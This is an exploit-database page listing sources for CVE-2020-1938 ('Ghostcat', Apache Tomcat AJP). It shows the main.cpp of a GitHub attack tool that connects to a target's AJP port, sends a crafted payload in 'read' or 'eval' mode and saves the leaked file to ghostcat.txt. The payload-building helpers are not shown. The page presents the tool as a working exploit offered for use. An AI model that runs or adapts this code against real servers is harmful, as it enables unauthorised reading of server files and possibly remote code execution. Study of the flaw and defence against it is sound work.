Exploit databaseDownload repository ZIP
GH-470e05f3e2f715801cb791a409e5eaaa
jptr218/ghostcat
Sources for CVE-2020-1938
46 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
jptr218/ghostcatRevision bce7440ec4a2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/main.cpp
Suggested starting fileC++ · 938 bytes#include "hdr.h"
int main(int argc, char* argv[]) {
if (argc != 6) {
cout << "Usage:" << endl << "ghostcat [target] [HTTP port] [AJP port] [file] [read/eval]" << endl;
return 1;
}
SOCKET sock = connect_host(argv[1], argv[3]);
if (sock == -1) {
cout << "Error starting Winsock." << endl;
}
else if (sock == -2) {
cout << "The target could not be found." << endl;
}
else if (sock == -3) {
cout << "Error connecting to target" << endl;
}
else if (sock == -4) {
cout << "Error connecting to target" << endl;
}
int mode = 0;
if (string(argv[5]) == "eval") {
mode = 1;
}
len_str payload = getPayload(argv[1], getIp(argv[1]), argv[2], argv[4], mode);
send(sock, payload.c_str, payload.len, NULL);
saveFile(sock);
cout << "Saved leak to ghostcat.txt!" << endl;
return 1;
}